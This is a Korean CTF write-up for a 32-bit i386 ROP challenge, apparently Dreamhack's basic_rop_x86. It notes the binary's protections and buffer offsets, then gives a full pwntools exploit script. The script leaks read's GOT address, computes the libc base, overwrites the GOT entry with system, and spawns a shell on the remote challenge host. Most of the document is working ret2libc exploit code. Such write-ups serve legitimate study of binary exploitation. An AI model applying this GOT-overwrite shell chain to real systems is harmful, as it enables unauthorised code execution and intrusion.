Ubuntu 16.04 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)basic_rop_x64와 비교해보면 아키텍처가 i386으로 바뀌었다.
i386 아키텍처에서 ROP 가젯 구성은
함수+가젯+인자
버퍼가 ebp-0x44 부터 시작한다. 버퍼 아래에 더미 데이터가 존재한다.
버퍼0x40, 더미0x4
pop 가젯들
from pwn import * p=remote("host3.dreamhack.games",11803) #p=process("./basic_rop_x86") e=ELF("./basic_rop_x86") libc=ELF("libc.so.6") context.arch="i386" context.log_level="debug" read_plt=e.plt['read'] # read PLT read_got=e.got['read'] # read GOT puts_plt=e.plt['puts'] # puts PLT pop3_ret=0x08048689 pop2_ret=pop3_ret+1 pop_ret=pop2_ret+1
payload=b'A'*0x48 # buffer[0x40]+dummy[0x4]+SFP[0x4]puts(read_got)
payload+=p32(puts_plt) # 함수(puts PLT) payload+=p32(pop_ret) # 가젯(pop ; ret) payload+=p32(read_got) # 인자(read GOT)read(0, read_got, 0xc)
payload+=p32(read_plt) # 함수 (read PLT) payload+=p32(pop3_ret) # 가젯 (pop ; pop ; pop ; ret) payload+=p32(0) # 인자(0) payload+=p32(read_got) # 인자(read GOT) payload+=p32(0xc) # 인자(0xc), 사실 안쓰고 pop 2번만 해도 됨system("/bin/bash")
payload+=p32(read_plt) # 함수(read PLT) payload+=p32(pop_ret) # 가젯(pop ; ret) payload+=p32(read_got+4) # 인자("/bin/sh")
p.send(payload) # payload 전송 p.recvuntil(b'A'*0x40) # 버퍼 수신 read=u32(p.recvn(4)) # read GOT 가져오기 lb=read-libc.symbols['read'] # offset system=lb+libc.symbols['system'] # system 함수 주소 구하기 p.send(p32(system)+b"/bin/sh\x00") # system 함수 주소 + "/bin/sh" 전송 p.recvn(25) # 뭔지 모를 데이터 수신 p.interactive() # 셸 획득